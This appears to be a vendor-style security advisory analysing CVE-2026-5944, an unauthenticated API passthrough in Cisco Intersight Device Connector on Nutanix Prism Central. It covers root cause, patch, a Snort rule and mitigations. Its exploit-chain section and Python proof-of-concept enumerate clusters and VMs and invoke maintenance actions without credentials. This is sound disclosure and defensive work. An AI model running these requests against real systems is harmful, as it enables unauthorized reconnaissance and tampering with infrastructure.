home intel cve-2026-5944-intersight-device-connector-unauth-api
CVE Analysis 2026-04-28 · 8 min read

CVE-2026-5944: Unauthenticated API Passthrough in Cisco Intersight Device Connector

The Intersight Device Connector for Nutanix Prism Central exposes an unauthenticated API passthrough on TCP/7373, permitting cluster enumeration and maintenance workflow invocation without credentials.

#api-passthrough#authentication-bypass#information-disclosure#access-control#cisco-intersight
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-5944 · Vulnerability
ATTACKERNetworkVULNERABILITYCVE-2026-5944HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-5944 is an improper access control vulnerability in the Cisco Intersight Device Connector (IDC) as deployed within Nutanix Prism Central. The Device Connector is a lightweight management agent that brokers communication between on-premises infrastructure and the Cisco Intersight SaaS platform. It exposes a local HTTP API on TCP port 7373 intended for internal orchestration use. On affected builds, this API surface is reachable from any host within the same network segment — with no authentication required.

An unauthenticated attacker with network adjacency can enumerate cluster topology, virtual machine inventory, and configuration metadata. More critically, certain cluster maintenance workflow endpoints — snapshot schedules, node health checks, cluster expansion pre-checks — can be invoked rather than merely read. CVSS 8.2 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L) reflects this combined read/limited-invoke surface.

Root cause: The Device Connector's internal API passthrough handler dispatches requests to the Nutanix Prism Central v3 REST API without validating whether the originating request carries a session token or originates from localhost, exposing the full passthrough surface to any network peer.

Affected Component

The Device Connector ships as a containerized service within Prism Central VMs. The vulnerable binary is dc_server, the Go-compiled HTTP server process listening on 0.0.0.0:7373. The passthrough endpoint is registered under the path prefix /api/v1/nc/passthrough/ and proxies outbound requests to the local Prism Central API gateway at 127.0.0.1:9440, injecting a pre-shared internal service credential stored in the connector's configuration store.

Key process details:


Process : dc_server
Listen  : 0.0.0.0:7373 (TCP, no TLS on affected versions)
Binary  : /home/nutanix/prism/dc/dc_server
Config  : /home/nutanix/prism/dc/config/dc_config.json
Internal credential target: https://127.0.0.1:9440/api/nutanix/v3/

Root Cause Analysis

The dc_server binary registers HTTP handlers via a standard Go net/http router. The passthrough handler — reconstructed here as pseudocode from binary analysis — delegates all request routing decisions to a downstream function without first evaluating the presence or validity of any session token on the inbound request:


// Reconstructed pseudocode: dc_server passthrough handler
// Real symbol (Go): github.com/cisco/intersight/dc/server.(*APIServer).registerPassthroughRoutes

void registerPassthroughRoutes(APIServer *srv, *mux.Router router) {
    // Registers handler for ALL methods under the passthrough prefix
    router->HandleFunc("/api/v1/nc/passthrough/{proxy_path:.*}",
                       srv->passthroughHandler);
    // BUG: no middleware chain attached here — authMiddleware is applied to
    // all other route groups but is explicitly omitted for the passthrough
    // subtree, presumably as a legacy convenience for internal tooling.
}

void passthroughHandler(APIServer *srv, http.ResponseWriter w, *http.Request r) {
    proxy_path = mux_vars(r)["proxy_path"];   // attacker-controlled path component
    method     = r->Method;                   // attacker-controlled HTTP verb
    body       = r->Body;                     // attacker-controlled payload

    // BUG: no call to validateSession(r) or checkSourceIP(r) here.
    // All other handlers call srv->authMiddleware.ServeHTTP() before dispatch.

    target_url = fmt_sprintf("https://127.0.0.1:9440/api/nutanix/v3/%s", proxy_path);

    outbound_req = http_NewRequest(method, target_url, body);

    // Injects the internally stored service credential — attacker receives
    // a response authenticated as the DC service account.
    outbound_req->Header_Set("Authorization",
                             fmt_sprintf("Basic %s", srv->config->InternalCredB64));
    outbound_req->Header_Set("Content-Type", r->Header_Get("Content-Type"));

    resp = srv->httpClient->Do(outbound_req);  // proxied with full service-account privileges

    // Response streamed directly back to unauthenticated caller
    copy_headers(w, resp->Header);
    w->WriteHeader(resp->StatusCode);
    io_Copy(w, resp->Body);
}

The authMiddleware is applied as a grouped middleware in registerRoutes() for every other handler family (/api/v1/actions/, /api/v1/config/, /api/v1/claim/). The passthrough subtree was registered separately — likely to support a legacy integration path — and the middleware wrapper was never added.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker identifies TCP/7373 open on any Prism Central VM IP within the network.
2. Send unauthenticated HTTP GET to enumerate VMs:
       GET /api/v1/nc/passthrough/vms/list HTTP/1.1
       Host: :7373
       Content-Type: application/json
       {"kind":"vm","length":500}
   dc_server proxies to 127.0.0.1:9440 with internal Basic credential.
   Response: full VM inventory (UUIDs, names, IP assignments, vCPU/RAM config).

3. Enumerate cluster configuration:
       GET /api/v1/nc/passthrough/clusters/list
   Returns node membership, AOS version, hypervisor type, CVM IPs.

4. Invoke maintenance workflow (e.g., trigger cluster health pre-check):
       POST /api/v1/nc/passthrough/clusters//validate_migration_readiness
   Executes a Nutanix v3 API action via the service credential — no user
   interaction required, no authentication on the caller side.

5. (Escalation path) Cross-reference VM UUIDs + CVM IPs to pivot targeting
   of CVEs requiring pre-knowledge of cluster topology (e.g., CVM-targeting
   vulnerabilities requiring node UUIDs as input parameters).

A minimal proof-of-concept demonstrating the enumeration primitive:


#!/usr/bin/env python3
# CVE-2026-5944 — IDC passthrough enumeration PoC
# CypherByte research — for authorized testing only

import requests, json, sys, urllib3
urllib3.disable_warnings()

TARGET = sys.argv[1]  # Prism Central IP
BASE   = f"http://{TARGET}:7373/api/v1/nc/passthrough"

def passthrough_post(endpoint, payload):
    r = requests.post(
        f"{BASE}/{endpoint}",
        json=payload,
        headers={"Content-Type": "application/json"},
        timeout=10,
        verify=False
    )
    r.raise_for_status()
    return r.json()

def passthrough_get(endpoint):
    r = requests.get(f"{BASE}/{endpoint}", timeout=10, verify=False)
    r.raise_for_status()
    return r.json()

# Enumerate clusters
clusters = passthrough_post("clusters/list", {"kind": "cluster", "length": 50})
for c in clusters.get("entities", []):
    meta = c.get("status", {}).get("resources", {})
    print(f"[CLUSTER] name={c['status']['name']}  "
          f"uuid={c['metadata']['uuid']}  "
          f"nodes={meta.get('num_nodes')}  "
          f"aos={meta.get('software_map', {}).get('NOS', {}).get('version')}")

# Enumerate VMs
vms = passthrough_post("vms/list", {"kind": "vm", "length": 500})
for v in vms.get("entities", []):
    nic_ips = [nic.get("ip_endpoint_list", [{}])[0].get("ip", "")
               for nic in v.get("status", {}).get("resources", {})
                            .get("nic_list", [])]
    print(f"[VM] name={v['status']['name']}  "
          f"uuid={v['metadata']['uuid']}  "
          f"power={v['status']['resources'].get('power_state')}  "
          f"ips={nic_ips}")

Memory Layout

This is an access control vulnerability rather than a memory corruption bug; there is no heap or stack corruption primitive. The relevant runtime state is the APIServer struct whose InternalCredB64 field is read unconditionally by the passthrough handler for every unauthenticated request:


// Reconstructed APIServer config struct (Go, 64-bit)
struct DCConfig {
    /* +0x00 */ char    *InternalCredB64;   // base64(svc_user:svc_pass) injected into proxied reqs
    /* +0x08 */ char    *PrismEndpoint;     // "https://127.0.0.1:9440"
    /* +0x10 */ char    *CloudEndpoint;     // Intersight SaaS URL
    /* +0x18 */ uint8_t  TLSVerifyInternal; // typically 0 on affected builds (no cert pinning)
    /* +0x20 */ char    *DeviceID;          // Intersight device identity string
    /* +0x28 */ char    *ClaimToken;        // Intersight claim token (not exposed via passthrough)
};

struct APIServer {
    /* +0x00 */ *mux.Router     router;
    /* +0x08 */ *http.Server    httpSrv;
    /* +0x10 */ *http.Client    httpClient;  // used for all outbound proxied calls
    /* +0x18 */ *DCConfig       config;      // InternalCredB64 read here on every passthrough req
    /* +0x20 */ *AuthMiddleware authMiddleware; // BUG: never wired to passthrough route group
};

REQUEST FLOW — UNAUTHENTICATED PASSTHROUGH:

[Attacker: any network host]
  |
  | HTTP GET /api/v1/nc/passthrough/vms/list  (no session token)
  v
[dc_server :7373]
  |
  | passthroughHandler() called directly — authMiddleware.ServeHTTP() NEVER invoked
  | Reads srv->config->InternalCredB64
  | Constructs: GET https://127.0.0.1:9440/api/nutanix/v3/vms/list
  |             Authorization: Basic 
  v
[Prism Central API Gateway :9440]
  |
  | Authenticates request as DC service account (valid internal credential)
  | Returns full VM inventory JSON
  v
[dc_server] streams response body back to attacker unmodified

Patch Analysis

The correct fix applies the existing authMiddleware to the passthrough route group and additionally restricts the allowed HTTP methods and path prefixes to a documented allowlist, preventing invocation of mutating endpoints even by authenticated internal consumers who should only require read access:


// BEFORE (vulnerable):
void registerPassthroughRoutes(APIServer *srv, *mux.Router router) {
    router->HandleFunc("/api/v1/nc/passthrough/{proxy_path:.*}",
                       srv->passthroughHandler);
    // BUG: authMiddleware not applied; all verbs forwarded without restriction
}

// AFTER (patched):
void registerPassthroughRoutes(APIServer *srv, *mux.Router router) {
    // 1. Scope to authenticated subrouter — requires valid Intersight session token
    authed_sub = router->PathPrefix("/api/v1/nc/passthrough/").Subrouter();
    authed_sub->Use(srv->authMiddleware.Handler);

    // 2. Restrict to read-only HTTP verbs on the passthrough surface
    authed_sub->Methods("GET").
                PathPrefix("{proxy_path:.*}").
                HandlerFunc(srv->passthroughHandler);

    // 3. Enforce path prefix allowlist — block direct invocation of
    //    maintenance/action endpoints through the passthrough path
    // Allowlist: ["vms/list", "clusters/list", "hosts/list", "storage_containers/list"]
}

// ADDITIONALLY: passthroughHandler gains source validation
void passthroughHandler(APIServer *srv, http.ResponseWriter w, *http.Request r) {
    proxy_path = mux_vars(r)["proxy_path"];

    // New: reject any path not in the static read-only allowlist
    if (!isAllowedPassthroughPath(proxy_path)) {
        http_Error(w, "forbidden passthrough target", 403);
        return;
    }

    // Existing proxy logic follows (now only reachable post-auth + allowlist) ...
}

Detection and Indicators

Look for unexpected HTTP traffic to TCP/7373 on Prism Central VM IPs originating from hosts that are not the Intersight cloud relay or designated management workstations:


NETWORK INDICATORS:
  dst_port  : 7373
  dst_host  : any Prism Central VM IP
  proto     : TCP / HTTP
  path_regex: ^/api/v1/nc/passthrough/
  src_ip    : NOT in { Intersight cloud egress ranges, approved mgmt subnets }

HOST INDICATORS (Prism Central VM):
  Process   : dc_server
  Log path  : /home/nutanix/data/logs/dc_server.log
  Suspicious log pattern:
    "passthrough request" method=GET path=/vms/list src=
    "passthrough request" method=POST path=/clusters//validate_migration_readiness

SNORT / SURICATA RULE:
  alert tcp any any -> $PRISM_CENTRAL_HOSTS 7373 (
      msg:"CVE-2026-5944 IDC Passthrough Probe";
      flow:to_server,established;
      content:"GET /api/v1/nc/passthrough/"; http_uri;
      threshold:type both,track by_src,count 3,seconds 10;
      sid:2026594401; rev:1;
  )

Remediation

Primary: Apply the vendor patch for the Cisco Intersight Device Connector when released. Track the advisory via the Cisco Security Advisory portal.

Immediate mitigations (network controls):

  • Firewall TCP/7373 on all Prism Central VMs to permit inbound connections only from documented Intersight cloud egress IPs and designated management hosts. The Intersight cloud relay uses outbound connections from the DC; inbound on 7373 from arbitrary hosts is not required for normal operation.
  • Place Prism Central management VMs on a dedicated management VLAN with ACLs enforcing least-privilege access.
  • Audit /home/nutanix/data/logs/dc_server.log for passthrough requests originating from unexpected source IPs.

Verification: After applying network controls, confirm port is unreachable from non-management hosts:


# From a host that should NOT have access — expect connection refused / timeout:
curl -v --max-time 5 http://:7373/api/v1/nc/passthrough/clusters/list

# From a legitimate management host — expect 401 Unauthorized after patch:
curl -v http://:7373/api/v1/nc/passthrough/clusters/list
# Expected post-patch: HTTP/1.1 401 Unauthorized
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →